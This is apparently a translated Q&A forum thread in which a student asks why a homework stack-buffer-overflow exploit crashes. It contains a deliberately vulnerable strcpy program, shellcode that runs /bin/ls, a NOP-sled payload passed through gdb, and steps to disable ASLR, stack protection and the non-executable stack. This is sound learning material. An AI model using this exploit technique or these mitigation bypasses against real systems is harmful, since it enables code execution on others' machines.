Домашнее задание - невозможно использовать переполнение буфера - PullRequest
5 голосов
/ 06 августа 2011

Я пытаюсь научиться использовать простую технику прохождения буфера в Backtrack Linux.

Вот моя C программа

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}

Это шелл-код, который я использую, который соответствует простому /bin/ls \ X31 \ xc0 \ x83 \ XEC \ x01 \ x88 \ x04 \ x24 \ x68 \ x6e \ x2f \ x6c \ x73 \ x66 \ x68 \ x62 \ x69 \ x83 \ XEC \ x01 \ xc6 \ x04 \ x24 \ x2f \ x89 \ XE6 \ x50 \ x56 \ XB0 \ x0b \ x89 \ xf3 \ x89 \ xe1 \ x31 \ XD2 \ XCD \ x80 \ XB0 \ x01 \ x31 \ XDB \ XCD \ x80

Я вставляю этот шелл-код в gdb, используя следующую команду

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')

По мере выполнения приложения оно генерирует SIG FAULT по окончательной инструкции ret. В этот момент EIP правильно установлен на 0xffffd30c. Этот адрес адресуемый и содержит серии NOP, за которыми следует мой шелл-код, как показано в полезной нагрузке.

Я отключил ASLR sudo echo 0 > /proc/sys/kernel/randomize_va_space

, а также скомпилировал мой двоичный файл, используя опцию fno-stack-protector.

Есть идеи, что является причиной SIGSEGV?

Ответы [ 2 ]

5 голосов
/ 06 августа 2011

Я ответил на мой собственный вопрос, проблема заключалась в «защите исполняемого стека», когда в стеке не может быть выполнена память. Это можно отключить в gcc следующим образом

gcc -z execstack

0 голосов
/ 06 августа 2011

Вы отключили защиту от разрушения стека в GCC (-fno-stack-protector)?

Как отключить оптимизацию компилятора gcc для включения переполнения буфера

...